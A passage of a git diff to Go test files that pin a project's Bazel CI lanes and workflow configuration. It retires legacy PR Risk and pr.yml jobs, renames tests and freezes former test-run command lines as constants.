pr.yml renames it (TestBazelLaneIsGatedAlongsideLegacy) so - // the two uploads cannot collide. - if prUpload.With["name"] != "ci-build-artifacts" || - upload.With["name"] != "${{ inputs.build-artifact-name || '"+prUpload.With["name"]+"' }}" || + // Named by the build-artifact-name input, ci-build-artifacts by default; + // the run inside pr.yml renames it (TestBazelLaneIsGated). + if upload.With["name"] != "${{ inputs.build-artifact-name || '"+prUpload.With["name"]+"' }}" || readBazelWorkflowCall(t).Inputs["build-artifact-name"].Default != prUpload.With["name"] { - t.Errorf("artifact name = %q, want the build-artifact-name input defaulting to pr.yml's %q", upload.With["name"], prUpload.With["name"]) + t.Errorf("artifact name = %q, want the build-artifact-name input defaulting to %q", upload.With["name"], prUpload.With["name"]) } for _, key := range []string{"retention-days", "if-no-files-found"} { if upload.With[key] != prUpload.With[key] { - t.Errorf("upload %s = %q, want pr.yml's %q", key, upload.With[key], prUpload.With[key]) + t.Errorf("upload %s = %q, want %q", key, upload.With[key], prUpload.With[key]) } } if pkg.ID == "" || upload.If != "${{ always() && steps."+pkg.ID+".outcome == 'success' }}" { @@ -4427,7 +4205,7 @@ func assertBazelTierStep(t *testing.T, job ciWorkflowJob, jobName, config string // setting, subprocess binaries and switches; the lanes' configs keep the // jobs' selection, and the storage lane shares --config=integration's build. // bazel.yml runs both tiers remotely only. -func TestBazelDoltServerTiersMirrorPRRisk(t *testing.T) { +func TestBazelDoltServerTiers(t *testing.T) { rc := bazelrcLines(t) for _, want := range []string{ "test:doltserver-proxied --@rules_go//go/config:race", @@ -4464,76 +4242,31 @@ func TestBazelDoltServerTiersMirrorPRRisk(t *testing.T) { t.Error(".bazelrc: test:doltserver-integration and test:integration differ in race; they must share their build") } - risk := readCIWorkflow(t, "pr-risk.yml") - build := risk.job(t, "build-embedded") - for step, want := range map[string]string{ - // The proxied jobs' test binary is this race build (--config= - // doltserver-proxied's bd_test), their subprocess bd the non-race one - // (bd_for_tests). - "Build embedded cmd test binary": "go test -tags gms_pure_go -race -c -o /tmp/bd-cmd-test ./cmd/bd/", - "Build proxied bd subprocess binary": "go build -tags gms_pure_go -o /tmp/bd-proxied ./cmd/bd/", - } { - if got := strings.TrimSpace(build.step(t, step).Run); got != want { - t.Errorf("pr-risk.yml %q = %q, want %q", step, got, want) - } - } - // The server jobs' binary: integration-tagged (the lane's build tags) and - // not race (dolt_race_off). - m := regexp.MustCompile(`^go test -tags=(\S+) -c -o /tmp/dolt-conformance-test \./internal/storage/dolt/$`). - FindStringSubmatch(strings.TrimSpace(build.step(t, "Build server Dolt conformance test binary").Run)) - if m == nil || !sameTagSet(tagSet(m[1]), tierTags) { - t.Errorf("pr-risk.yml's server Dolt test binary is no longer the non-race `go test -tags= -c`: %v", m) - } - + // The manifest-sharded tiers PR Risk's retired "Test (Proxied Dolt Cmd + // N/15)" and "Test (Server Dolt Full Suite N/16)" jobs ran + // (ga-96smfk.22): the same shard scripts, test binaries and env, now + // sharded by each target's own BUILD.bazel shard_count + // (TestBazelRetiredLanesCheckListedTestsRan pins it against bazel.yml's + // check_shard_coverage.py argument). type shardTier struct { - workflow, job, step, script, binVar, pkg, target, env string - // noBuildShardPin is true when this tier's target's BUILD.bazel - // shard_count is allowed to differ from this workflow/job's own - // matrix size, because a separate Bazel-only lane shards that same - // target on its own manifest block (F2). Reading the expected value - // back out of the same BUILD.bazel file we are about to check would - // be tautological, so these tiers skip the `shard_count = N,` - // sub-assertion below entirely; the real cross-file pin for them - // lives in pr_risk_bazel_coverage_test.go, which ties BUILD.bazel's - // shard_count to bazel.yml's check_shard_coverage.py argument. - noBuildShardPin bool + script, binVar, pkg, target, env string } tiers := []shardTier{ - // pr-risk.yml's own "Test (Proxied Dolt Cmd N/15)" matrix - // stays 15 (the legacy, frozen bd-init-cost-proxy manifest block), - // but cmd/bd:bd_proxied_test's shard_count need not match: the - // Bazel-only bazel-proxied job (bazel.yml) runs that target with its - // own duration-balanced manifest block, not these jobs'. Shard k in - // one split is not shard k in the other; see cmd/bd/BUILD.bazel's - // bd_proxied_test comment and bazel.yml's bazel-proxied comment. - {"pr-risk.yml", "test-proxied-cmd", "Test proxied-server cmd shard", ".github/scripts/proxied-test-shard.sh", "BEADS_TEST_CMD_BINARY", "cmd/bd", "bd_proxied_test", "BEADS_TEST_PROXIED_SERVER", true}, - {"pr-risk.yml", "test-server-storage-full", "Test", ".github/scripts/server-storage-test-shard.sh", "BEADS_TEST_SERVER_TEST_BINARY", "internal/storage/dolt", "dolt_server_full_test", "BEADS_TEST_ENV_RUN_DOLT", false}, + {".github/scripts/proxied-test-shard.sh", "BEADS_TEST_CMD_BINARY", "cmd/bd", "bd_proxied_test", "BEADS_TEST_PROXIED_SERVER"}, + {".github/scripts/server-storage-test-shard.sh", "BEADS_TEST_SERVER_TEST_BINARY", "internal/storage/dolt", "dolt_server_full_test", "BEADS_TEST_ENV_RUN_DOLT"}, } for _, c := range tiers { - j := readCIWorkflow(t, c.workflow).job(t, c.job) - shards := len(j.Strategy.Matrix.Shard) - step := j.step(t, c.step) - if want := "bash " + c.script + " ${{ matrix.shard }} " + strconv.Itoa(shards); strings.TrimSpace(step.Run) != want { - t.Errorf("%s %s runs %q, want %q", c.workflow, c.job, step.Run, want) - } - if step.Env[c.env] != "1" { - t.Errorf("%s %s no longer sets %s=1; update %s:%s", c.workflow, c.job, c.env, c.pkg, c.target) - } - buildShards := shards root := sourceRepoRoot(t) rule := bazelRuleBlock(readPolicyFile(t, root, c.pkg+"/BUILD.bazel"), c.target) - want := []string{ + for _, w := range []string{ `srcs = ["//tools/bazel:go_test_manifest_shard.sh"],`, `"$(rootpath //:` + c.script + `)",`, `"` + c.binVar + `",`, `timeout = "eternal",`, - } - if !c.noBuildShardPin { - want = append(want, "shard_count = "+strconv.Itoa(buildShards)+",") - } - for _, w := range want { + `"` + c.env + `": "1"`, + } { if !strings.Contains(rule, w) { - t.Errorf("%s:%s does not contain %q (%s %s):\n%s", c.pkg, c.target, w, c.workflow, c.job, rule) + t.Errorf("%s:%s does not contain %q:\n%s", c.pkg, c.target, w, rule) } } mm := shardManifestDefault.FindStringSubmatch(readPolicyFile(t, root, c.script)) @@ -4547,11 +4280,12 @@ func TestBazelDoltServerTiersMirrorPRRisk(t *testing.T) { } } } - conf := risk.job(t, "test-server-storage").step(t, "Test").Run + // PR Risk's retired test-server-storage job's command, frozen. + const conf = `/tmp/dolt-conformance-test -test.v -test.count=1 -test.timeout=15m -test.run '^TestConformance$'` quoted := regexp.MustCompile(`(-test\.[a-z]+) '([^']*)'|(-test\.[a-z]+=\S+|-test\.v)`) fields := strings.Fields(conf) if len(fields) == 0 || fields[0] != "/tmp/dolt-conformance-test" { - t.Fatalf("pr-risk.yml test-server-storage no longer runs /tmp/dolt-conformance-test: %q", conf) + t.Fatalf("conformance command %q does not run /tmp/dolt-conformance-test", conf) } var wantArgs []string for _, m := range quoted.FindAllStringSubmatch(conf, -1) { @@ -4562,7 +4296,7 @@ func TestBazelDoltServerTiersMirrorPRRisk(t *testing.T) { } } if len(wantArgs) != 4 { - t.Fatalf("parsed %v from pr-risk.yml test-server-storage %q", wantArgs, conf) + t.Fatalf("parsed %v from %q", wantArgs, conf) } root := sourceRepoRoot(t) @@ -4570,7 +4304,7 @@ func TestBazelDoltServerTiersMirrorPRRisk(t *testing.T) { rule := bazelRuleBlock(doltBuild, "dolt_server_conformance_test") for _, w := range append(wantArgs, `"$(rootpath :dolt_race_off)",`, `srcs = ["//tools/bazel:go_test_variant.sh"],`) { if !strings.Contains(bazelAttrBlock(rule, "args")+rule, w) { - t.Errorf("dolt:dolt_server_conformance_test does not contain %q (pr-risk.yml test-server-storage):\n%s", w, rule) + t.Errorf("dolt:dolt_server_conformance_test does not contain %q (the retired test-server-storage job's selection):\n%s", w, rule) } } if strings.Contains(rule, "BEADS_TEST_ENV_RUN_DOLT") { @@ -4687,7 +4421,7 @@ var bazelEmbeddedRCLines = []string{ "test:embedded --experimental_remote_cache_eviction_retries=0", } -func TestBazelEmbeddedJobMirrorsEmbeddedTier(t *testing.T) { +func TestBazelEmbeddedJobRunsEmbeddedTier(t *testing.T) { job := readCIWorkflow(t, bazelWorkflowName).job(t, bazelEmbedJobName) test := job.step(t, "bazel test //... --config=embedded") if !strings.Contains(test.Run, "bazel test //... --config=embedded") || !strings.Contains(test.Run, "set -o pipefail") { @@ -4763,18 +4497,8 @@ func TestBazelEmbeddedJobMirrorsEmbeddedTier(t *testing.T) { } } - risk := readCIWorkflow(t, "pr-risk.yml") - build := risk.job(t, "build-embedded") - for step, want := range map[string]string{ - "Build embedded bd binary": "go build -tags gms_pure_go -race -o /tmp/bd-embedded-test ./cmd/bd/", - "Build embedded storage test binary": "go test -tags gms_pure_go -race -c -o /tmp/embeddeddolt-test ./internal/storage/embeddeddolt/", - "Build embedded cmd test binary": "go test -tags gms_pure_go -race -c -o /tmp/bd-cmd-test ./cmd/bd/", - } { - if got := strings.TrimSpace(build.step(t, step).Run); got != want { - t.Errorf("pr-risk.yml %q = %q, want %q (the race build --config=embedded mirrors)", step, got, want) - } - } - + // PR Risk's retired embedded tier (ga-96smfk.22): its shard scripts, + // conformance partitions and env, which the Bazel targets below run. sharded := []struct { job, script, pkg, target string }{ @@ -4782,28 +4506,11 @@ func TestBazelEmbeddedJobMirrorsEmbeddedTier(t *testing.T) { {"test-embedded-storage", ".github/scripts/embedded-storage-test-shard.sh", "internal/storage/embeddeddolt", "embeddeddolt_embedded_test"}, } for _, c := range sharded { - j := risk.job(t, c.job) - shards := len(j.Strategy.Matrix.Shard) - step := j.step(t, "Test") - if want := "bash " + c.script + " ${{ matrix.shard }} " + strconv.Itoa(shards); strings.TrimSpace(step.Run) != want { - t.Errorf("pr-risk.yml %s runs %q, want %q", c.job, step.Run, want) - } - if step.Env["BEADS_TEST_EMBEDDED_DOLT"] != "1" { - t.Errorf("pr-risk.yml %s no longer sets BEADS_TEST_EMBEDDED_DOLT=1; update %s", c.job, c.target) - } root := sourceRepoRoot(t) rule := bazelRuleBlock(readPolicyFile(t, root, c.pkg+"/BUILD.bazel"), c.target) - // c.target's own shard_count is deliberately NOT asserted to equal - // shards (pr-risk.yml's matrix size) here: since slice F1, the - // Bazel-only bazel-embedded job (bazel.yml) shards both of these - // targets on its own duration-balanced manifest block, a different - // total from PR Risk's/main.yml's legacy "Test (Embedded Dolt {Cmd - // N/20,Storage N/5})" jobs' frozen block (same reasoning as - // cmd/bd:bd_proxied_test's noBuildShardPin above, F2). The real - // cross-file pin for c.target's shard_count lives in - // pr_risk_bazel_coverage_test.go's TestBazelRetiredLanesCheckListedTestsRan, - // which ties it to bazel.yml's check_shard_coverage.py argument via - // bazelEmbeddedCmdShardCount/bazelEmbeddedStorageShardCount. + // c.target's own shard_count is the lane's source of truth; + // TestBazelRetiredLanesCheckListedTestsRan ties it to bazel.yml's + // check_shard_coverage.py argument. for _, want := range []string{ `srcs = ["//tools/bazel:go_test_manifest_shard.sh"],`, `"$(rootpath //:` + c.script + `)",`, @@ -4811,7 +4518,7 @@ func TestBazelEmbeddedJobMirrorsEmbeddedTier(t *testing.T) { `"embedded"`, } { if !strings.Contains(rule, want) { - t.Errorf("%s:%s does not contain %q (pr-risk.yml %s):\n%s", c.pkg, c.target, want, c.job, rule) + t.Errorf("%s:%s does not contain %q (%s):\n%s", c.pkg, c.target, want, c.job, rule) } } // The script's -test.timeout=20m equals Bazel's 1200s action limit, @@ -4844,16 +4551,17 @@ func TestBazelEmbeddedJobMirrorsEmbeddedTier(t *testing.T) { t.Errorf("cmd/bd:bd_embedded_test must run the race //cmd/bd:bd as BEADS_TEST_BD_BINARY:\n%s", rule) } - conformance := risk.job(t, "test-embedded-conformance") - if conformance.Env["BEADS_TEST_EMBEDDED_DOLT"] != "1" { - t.Error("pr-risk.yml test-embedded-conformance no longer sets BEADS_TEST_EMBEDDED_DOLT=1") + // The retired test-embedded-conformance job's two partitions, frozen. + conformance := map[string]string{ + "core": `/tmp/embeddeddolt-test -test.v -test.count=1 -test.timeout=30m -test.run '^TestConformance$' -test.skip '^TestConformance$/^Audit$'`, + "audit": `/tmp/embeddeddolt-test -test.v -test.count=1 -test.timeout=30m -test.run '^TestConformance$/^Audit$'`, } quoted := regexp.MustCompile(`(-test\.[a-z]+) '([^']*)'|(-test\.[a-z]+=\S+|-test\.v)`) for partition, target := range map[string]string{"core": "embeddeddolt_conformance_core_test", "audit": "embeddeddolt_conformance_audit_test"} { - run := conformance.step(t, "Test "+partition+" conformance").Run + run := conformance[partition] fields := strings.Fields(run) if len(fields) == 0 || fields[0] != "/tmp/embeddeddolt-test" { - t.Fatalf("pr-risk.yml %s conformance no longer runs /tmp/embeddeddolt-test: %q", partition, run) + t.Fatalf("%s conformance does not run /tmp/embeddeddolt-test: %q", partition, run) } var want []string for _, m := range quoted.FindAllStringSubmatch(run, -1) { @@ -4863,21 +4571,18 @@ func TestBazelEmbeddedJobMirrorsEmbeddedTier(t *testing.T) { case strings.HasPrefix(m[3], "-test.timeout="): // Documented deviation: Bazel kills at 1200s without a // goroutine dump, so the variant's Go timeout is 19m. - if m[3] != "-test.timeout=30m" { - t.Errorf("pr-risk.yml %s conformance timeout is now %q; revisit the variant's -test.timeout=19m", partition, m[3]) - } want = append(want, `"-test.timeout=19m",`) default: want = append(want, `"`+m[3]+`",`) } } if len(want) < 4 { - t.Fatalf("parsed only %v from pr-risk.yml %s conformance %q", want, partition, run) + t.Fatalf("parsed only %v from %s conformance %q", want, partition, run) } rule := bazelRuleBlock(readPolicyFile(t, sourceRepoRoot(t), "internal/storage/embeddeddolt/BUILD.bazel"), target) for _, w := range append(want, `"BEADS_TEST_EMBEDDED_DOLT": "1"`, `"embedded"`) { if !strings.Contains(rule, w) { - t.Errorf("embeddeddolt:%s does not contain %q (pr-risk.yml %s conformance):\n%s", target, w, partition, rule) + t.Errorf("embeddeddolt:%s does not contain %q (the retired %s conformance partition):\n%s", target, w, partition, rule) } } } @@ -4886,17 +4591,17 @@ func TestBazelEmbeddedJobMirrorsEmbeddedTier(t *testing.T) { // bazel-pure replaces pr.yml's check-cmd-bd-puregeo-tests job: the same pure // cmd/bd test selector, the same pure build set, and the js/wasm hook test // under the same exact-count guard. +// bazel.yml's pure-Go and js/wasm lane is the only run of the CGO_ENABLED=0 +// portability boundaries pr.yml's retired check-cmd-bd-puregeo-tests job +// owned (ga-96smfk.22): the same -short cmd/bd subset, the same cmd/bd and +// test-binary builds, and the exact js/wasm refusal contract with its count +// guard. The selectors below are that job's, frozen. func TestBazelPureJobMirrorsPureGoJob(t *testing.T) { - pr := readCIWorkflow(t, "pr.yml").job(t, "check-cmd-bd-puregeo-tests") job := readCIWorkflow(t, bazelWorkflowName).job(t, bazelPureJobName) - prSubset := pr.step(t, "Run pure-Go cmd/bd test subset (CGO_ENABLED=0)").Run - m := regexp.MustCompile(`-run '([^']+)' \./cmd/bd`).FindStringSubmatch(prSubset) - if m == nil { - t.Fatalf("cannot find the -run selector in pr.yml's pure subset step:\n%s", prSubset) - } - if job.Env["PURE_CMD_BD_TESTS"] != m[1] || !strings.Contains(prSubset, "-short") { - t.Errorf("%s PURE_CMD_BD_TESTS = %q, want pr.yml's -short -run selector %q", bazelPureJobName, job.Env["PURE_CMD_BD_TESTS"], m[1]) + const pureCmdBDTests = "^Test(Help|CheckRemoteSafety|FormatDestroyToken|ShouldWireInitRemote|ExtractPrefix|IsNumericID|GetWorktreeGitDir|DriftItemStatuses|RunDriftChecks|IsServerProbablyRunning|CheckHooksDriftNotGitRepo|CheckServerDriftNoBeadsDir|CheckRemoteDriftNoBeadsDir|NocgoFactoriesHonorSharedServer|NocgoNewDoltStoreFromConfig_ErrorSuggestsCorrectFlag|NocgoNewReadOnlyStoreFromConfig_ErrorSuggestsCorrectFlag)" + if job.Env["PURE_CMD_BD_TESTS"] != pureCmdBDTests { + t.Errorf("%s PURE_CMD_BD_TESTS = %q, want the pure cmd/bd -run selector %q", bazelPureJobName, job.Env["PURE_CMD_BD_TESTS"], pureCmdBDTests) } run := job.step(t, "Run pure-Go cmd/bd test subset (--config=pure)").Run for _, required := range []string{"bazel test --config=pure " + bazelSoleRunArg + " " + bazelFreshArg + " //cmd/bd:bd_test", `"--test_arg=-test.run=$PURE_CMD_BD_TESTS"`, "(( n > 0 ))"} { @@ -4909,16 +4614,12 @@ func TestBazelPureJobMirrorsPureGoJob(t *testing.T) { } build := job.step(t, "Build cmd/bd and pure-Go test binaries (--config=pure)").Run - prBuild := pr.step(t, "Build cmd/bd (CGO_ENABLED=0, gms_pure_go)").Run + pr.step(t, "Compile pure-Go test binaries (CGO_ENABLED=0, gms_pure_go)").Run - for pkg, target := range map[string]string{ - "go build -tags gms_pure_go -o /tmp/bd-puregeo ./cmd/bd": "//cmd/bd:bd", - "-o /tmp/bd-cmd-puregeo-test ./cmd/bd": "//cmd/bd:bd_test", - "-o /tmp/bd-embeddeddolt-puregeo-test ./internal/storage/embeddeddolt": "//internal/storage/embeddeddolt:embeddeddolt_test", - "-o /tmp/bd-tracker-puregeo-test ./internal/tracker": "//internal/tracker:tracker_test", + for _, target := range []string{ + "//cmd/bd:bd", + "//cmd/bd:bd_test", + "//internal/storage/embeddeddolt:embeddeddolt_test", + "//internal/tracker:tracker_test", } { - if !strings.Contains(prBuild, pkg) { - t.Errorf("pr.yml pure build steps no longer contain %q; update %s to match", pkg, bazelPureJobName) - } if !strings.Contains(build, target) || !strings.Contains(build, "bazel build --config=pure") { t.Errorf("pure build step does not build %s:\n%s", target, build) } @@ -4945,27 +4646,26 @@ func TestBazelPureJobMirrorsPureGoJob(t *testing.T) { t.Error("gozstd_nocgo.patch stubs no longer panic in init; a contaminated pure binary would start") } - prWasm := pr.step(t, "Run js/wasm hook boundary").Run wasm := job.step(t, "Run js/wasm hook boundary").Run for _, required := range []string{"bazel build --config=js-wasm //internal/hooks:hooks_test", "go_js_wasm_exec"} { if !strings.Contains(wasm, required) { t.Errorf("js/wasm step does not contain %q:\n%s", required, wasm) } } - // The selector and everything from the count guard on are pr.yml's. - const selector = "run '^TestRunHookReportsUnsupportedExecution$'" - if !strings.Contains(prWasm, " -"+selector) || !strings.Contains(wasm, " -test."+selector) { - t.Errorf("js/wasm selector drifted from pr.yml's %q", selector) - } - guard := func(script string) string { - i := strings.Index(script, "run_count=0") - if i < 0 { - return "" + // Exactly one run and one pass of the refusal contract, no failure or + // skip: compiling the package alone would not execute it. + for _, required := range []string{ + " -test.run '^TestRunHookReportsUnsupportedExecution$'", + "run_count=0", + `=== RUN TestRunHookReportsUnsupportedExecution`, + `^--- PASS: TestRunHookReportsUnsupportedExecution`, + `nonpass_pattern='^[[:space:]]*--- (FAIL|SKIP): '`, + `[[ "$line" =~ $nonpass_pattern ]]`, + `run_count != 1 || pass_count != 1 || nonpass_count != 0`, + } { + if !strings.Contains(wasm, required) { + t.Errorf("js/wasm step does not contain %q:\n%s", required, wasm) } - return script[i:] - } - if guard(wasm) == "" || guard(wasm) != guard(prWasm) { - t.Errorf("js/wasm count guard differs from pr.yml's:\n--- pr.yml\n%s\n--- %s\n%s", guard(prWasm), bazelPureJobName, guard(wasm)) } } diff --git a/scripts/conformance_script_test.go b/scripts/conformance_script_test.go index 19dbf6ea7..754580428 100644 --- a/scripts/conformance_script_test.go +++ b/scripts/conformance_script_test.go @@ -64,7 +64,7 @@ func conformanceExitCode(err error) int { // The conformance tiers CI runs are Bazel targets, not this script: Tier 1 // is the embedded lane's embeddeddolt_conformance_{core,audit}_test -// (TestBazelEmbeddedJobMirrorsEmbeddedTier pins their flags), Tier 2 the +// (TestBazelEmbeddedJobRunsEmbeddedTier pins their flags), Tier 2 the // integration lane's //test/conformance:conformance_test, pinned here to the // script's tier: both harness files, built under the e2e or integration tag, // against the injected non-race bd. conformance.yml, which ran the script on diff --git a/scripts/embedded_shard_count_test.go b/scripts/embedded_shard_count_test.go index 9820ed0ab..dcc75521f 100644 --- a/scripts/embedded_shard_count_test.go +++ b/scripts/embedded_shard_count_test.go @@ -96,3 +96,24 @@ func TestStorageEmbeddedShardManifestGeneratorNotStale(t *testing.T) { t.Errorf("gen_embedded_storage_shard_manifest.py %s --weights=duration --check: %v\n%s", shards, err, out) } } + +// bazelServerFullShardCount returns dolt:dolt_server_full_test's own +// shard_count from internal/storage/dolt/BUILD.bazel: the single source of +// truth for the bazel-server-storage lane's full-suite shard split, now that +// PR Risk's legacy "Test (Server Dolt Full Suite N/16)" job, whose matrix it +// used to mirror, is retired (ga-96smfk.22). Mirrors +// bazelEmbeddedCmdShardCount above. +func bazelServerFullShardCount(t *testing.T) int { + t.Helper() + root := sourceRepoRoot(t) + rule := bazelRuleBlock(readPolicyFile(t, root, "internal/storage/dolt/BUILD.bazel"), "dolt_server_full_test") + m := shardCountPattern.FindStringSubmatch(rule) + if m == nil { + t.Fatalf("dolt:dolt_server_full_test has no `shard_count = N,` in internal/storage/dolt/BUILD.bazel:\n%s", rule) + } + n, err := strconv.Atoi(m[1]) + if err != nil { + t.Fatalf("dolt:dolt_server_full_test shard_count: %v", err) + } + return n +} diff --git a/scripts/pr_lanes_bazel_coverage_test.go b/scripts/pr_lanes_bazel_coverage_test.go index 5212bccf8..531a4fc82 100644 --- a/scripts/pr_lanes_bazel_coverage_test.go +++ b/scripts/pr_lanes_bazel_coverage_test.go @@ -1,7 +1,6 @@ package scripts_test import ( - "fmt" "os" "os/exec" "path/filepath" @@ -12,45 +11,30 @@ import ( "testing" ) -// D2 step 3: pr.yml's own legacy jobs whose Bazel lanes run in the same -// pr.yml run stand down on the PRs bazel-coverage covers (pr_lanes): -// build-artifacts, PR Core and the pure-Go/js-wasm check, for Bazel / test -// and pure-Go and js/wasm. ci-gate then requires those lanes, and the -// dolt-server lane (the only run of the Dolt-backed domain, uow, tracker, -// doctor/fix and protocol suites), to have run remotely and passed -// (BAZEL_PR_LANES_RETIRED, simulated with the other tiers in -// TestPRRiskDecisionMatchesBazelMode). Everything the retired jobs did -// besides those tests keeps running on every PR: the package gates take the -// Bazel-built bd, the Dolt server fingerprint runs on the dolt-server lane, -// and nogo (//tools/nogo) runs go test's vet checks beside every compile of -// the Bazel lanes. +// pr.yml's PR Core, build-artifacts and pure-Go/js-wasm jobs are retired +// (ga-96smfk.22): Bazel / test, pure-Go and js/wasm and the dolt-server lane +// are their only run, and pr.yml's gate requires them to have run remotely +// and passed (TestPRGateRequiresRemoteBazelLanes). Everything the retired +// jobs did besides those tests keeps running on every PR: the package gates +// take the Bazel-built bd, the Dolt server fingerprint runs on the +// dolt-server lane, and nogo (//tools/nogo) runs go test's vet checks beside +// every compile of the Bazel lanes. const ( - // The legacy jobs' if: not covered. - prLaneLegacyIf = "needs." + prRiskCoverageJobName + ".outputs.pr_lanes != 'true'" // bazel.yml's lanes for the step add --config=sole-run whenever they // execute remotely (enabled: mode remote, and the rbe-fork modes - // fork-ro/fork-rw, whose lanes are a fork's only run once - // BAZEL_COVERS_FORKS covers it). + // fork-ro/fork-rw, a fork's or Dependabot PR's only run). bazelSoleRunEnv = "${{ needs.rbe.outputs.enabled == 'true' && '--config=sole-run' || '' }}" bazelSoleRunArg = `${BAZEL_SOLE_RUN:+"$BAZEL_SOLE_RUN"}` bazelSoleRunEvictionLine = "test:sole-run --experimental_remote_cache_eviction_retries=0" ) // F3: the package gates moved into bazel.yml (package-mcp, package-npm); -// they depend only on the caller's package-gates input, not on -// bazel-coverage's decision or build-artifacts (TestPackageGateJobs). This +// they depend only on the caller's package-gates input (TestPackageGateJobs). This // map is only their CI_GATE_REQUIRED ids, for the gate-simulation scenarios // below (pr.yml no longer has jobs by these names). var prPackageGateIDs = map[string]string{"package-mcp": "PACKAGE_MCP", "package-npm": "PACKAGE_NPM"} -// Each retired job's needs, exactly. -var prLaneLegacyNeeds = map[string][]string{ - "build-artifacts": {prRiskCoverageJobName}, - "check-cmd-bd-puregeo-tests": {prRiskCoverageJobName}, - "pr-core-wrapper": {"build-artifacts", prRiskCoverageJobName}, -} - // .bazelrc's lines for the configs step 3's lanes run, exactly: the // PR-core selection (test:ci), the dolt-server lane, the pure-Go and js/wasm // lane, and sole-run (their only-run hardening). @@ -157,94 +141,30 @@ exit "$rc"`, }, } -// prLanesTier: retiredTiers' pr.yml entry. -func prLanesTier(t *testing.T) retiredTier { - t.Helper() - for _, r := range retiredTiers { - if r.workflow == "pr.yml" { - return r - } - } - t.Fatal("retiredTiers has no pr.yml tier") - return retiredTier{} -} - -// prLegacyJobResult: a non-Bazel pr.yml need's result in a gate scenario, -// as the jobs' if: produce it (sc.results overrides): a retired job skips -// where its tier is covered (GitHub's == is case-insensitive) or the -// decision failed; a package gate skips where the decision failed. +// prLegacyJobResult: a non-Bazel pr.yml need's result in a gate scenario: +// success unless sc.results overrides it. (package-mcp/package-npm are +// bazel.yml call outputs, simulated through sc.outputs.) func prLegacyJobResult(job string, sc bazelGateScenario) string { if r, ok := sc.results[job]; ok { return r } - decided := sc.coverage == "" || sc.coverage == "success" - for _, r := range retiredTiers { - if _, ok := r.jobs[job]; ok && r.workflow == "pr.yml" && (!decided || strings.EqualFold(sc.covered[r.output], "true")) { - return "skipped" - } - } - // F3: package-mcp/package-npm are bazel.yml call outputs now - // (needs.bazel.outputs.package-mcp), not pr.yml job results, so - // runPRGateStep never calls this helper for them - they are simulated - // through sc.outputs instead (see the scenario loop below). return "success" } -// The retired jobs' wiring, the artifact consumers, and pr.yml's actual -// gate step over the covered and uncovered cases. -func TestPRLegacyLanesDeferToBazelLanes(t *testing.T) { +// pr.yml's non-Bazel jobs and artifacts around the lanes: nothing needs or +// downloads the retired build-artifacts job's artifact, the package gates +// are pinned, Bazel publishes bd under the name pr.yml passes, and a failed +// package gate or preflight leg reds pr.yml's actual gate step. +func TestPRGateNonBazelNeeds(t *testing.T) { requireHostTool(t, "bash") pr := readCIWorkflow(t, "pr.yml") - tier := prLanesTier(t) - gate := pr.job(t, "ci-gate") - gateStep := gate.step(t, "Evaluate CI gate") + gateStep := pr.job(t, "ci-gate").step(t, "Evaluate CI gate") required := strings.Fields(gateStep.Env["CI_GATE_REQUIRED"]) - var names []string - for name := range tier.jobs { - names = append(names, name) - } - sort.Strings(names) - if !reflect.DeepEqual(names, sortedKeys(prLaneLegacyNeeds)) { - t.Fatalf("pr.yml tier jobs %v, want %v", names, sortedKeys(prLaneLegacyNeeds)) - } - for name, id := range tier.jobs { - job := pr.job(t, name) - if job.If != prLaneLegacyIf || !reflect.DeepEqual([]string(job.Needs), prLaneLegacyNeeds[name]) || job.ContinueOnError { - t.Errorf("%s: if %q, needs %v, continue-on-error %v; want if %q, needs %v", name, job.If, job.Needs, job.ContinueOnError, prLaneLegacyIf, prLaneLegacyNeeds[name]) - } - // Still required: it runs wherever the Bazel lanes do not cover it. - if !contains(required, id) || !contains(gate.Needs, name) || gateStep.Env[id] != "${{ needs."+name+".result }}" { - t.Errorf("ci-gate does not require %s's result as %s", name, id) - } - } - // The lanes that replace them run in this workflow's bazel call. - if !reflect.DeepEqual(tier.bazelLanes, []string{bazelJobName, bazelPureJobName, bazelDoltJobName}) { - t.Errorf("pr.yml tier lanes = %v", tier.bazelLanes) - } - - // Only the retired jobs and the gate read the decision; only they and - // the gate need build-artifacts. The package gates moved into bazel.yml - // (F3) and never depend on this decision or on build-artifacts at all - - // they build bd for themselves, via Bazel or a go build fallback - // (TestPackageGateJobs). for name, job := range pr.Jobs { - _, retired := tier.jobs[name] - if retired || name == "ci-gate" || name == prRiskCoverageJobName { - continue - } - if strings.Contains(job.If, prRiskCoverageJobName) || contains(job.Needs, prRiskCoverageJobName) { - t.Errorf("%s depends on %s; only the retired jobs may", name, prRiskCoverageJobName) - } if contains(job.Needs, "build-artifacts") { - t.Errorf("%s needs build-artifacts, which stands down on covered PRs", name) + t.Errorf("%s needs the retired build-artifacts job", name) } - } - - // Artifact consumers: only the retired jobs read build-artifacts' - // artifact (they only run where it does). Nothing downloads by pattern - // or without a name. - for name, job := range pr.Jobs { for _, step := range job.Steps { if !strings.HasPrefix(step.Uses, "actions/download-artifact@") { continue @@ -252,23 +172,15 @@ func TestPRLegacyLanesDeferToBazelLanes(t *testing.T) { art := step.With["name"] if art == "" || step.With["pattern"] != "" { t.Errorf("%s downloads an artifact by pattern or without a name: %v", name, step.With) - continue } - if !strings.Contains(art, "ci-build-artifacts") { - continue - } - if _, retired := tier.jobs[name]; !retired || art != "ci-build-artifacts" { - t.Errorf("%s downloads %q; only the retired jobs (ci-build-artifacts) may", name, art) - } - if step.With["path"] != "ci-build-artifacts" { - t.Errorf("%s downloads into %q, want ci-build-artifacts (the layout its steps read)", name, step.With["path"]) + if strings.Contains(art, "ci-build-artifacts") { + t.Errorf("%s downloads %q; nothing in pr.yml consumes the bd artifact", name, art) } } } testPackageGateJobs(t, required) // Bazel's artifact: bazel-test publishes it (always, after its tests) - // under the name pr.yml passes, with build-artifacts' layout - // (TestBazelWorkflowPublishesBuildArtifacts). + // under the name pr.yml passes (TestBazelWorkflowPublishesBuildArtifacts). if pr.job(t, "bazel").With["build-artifact-name"] != "bazel-ci-build-artifacts" { t.Errorf("pr.yml's bazel call no longer names its artifact bazel-ci-build-artifacts") } @@ -278,116 +190,28 @@ func TestPRLegacyLanesDeferToBazelLanes(t *testing.T) { t.Errorf("bazel-test packages bd with %q (continue-on-error %v)", pkgStep.Run, pkgStep.ContinueOnError) } - // The gate. Other tiers not covered, so only this step's rules apply. - cov := func(v string) map[string]string { - c := coveredAll("false") - c[tier.output] = v - return c - } lanes := bazelPRCallLanes(t, pr.job(t, "bazel").With) - type scenario struct { - name string - sc bazelGateScenario - pass bool - mention string + if pass, out := runPRGateStep(t, gateStep, prGateFor(t, lanes, "pull_request", "remote")); 